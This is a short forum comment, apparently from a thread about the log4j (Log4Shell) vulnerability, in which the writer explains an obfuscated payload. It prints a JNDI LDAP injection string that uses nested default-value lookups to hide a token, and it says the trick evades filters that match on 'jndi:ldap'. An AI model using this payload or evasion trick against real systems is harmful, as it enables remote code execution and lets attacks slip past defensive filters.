Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it:

    ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a}

I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".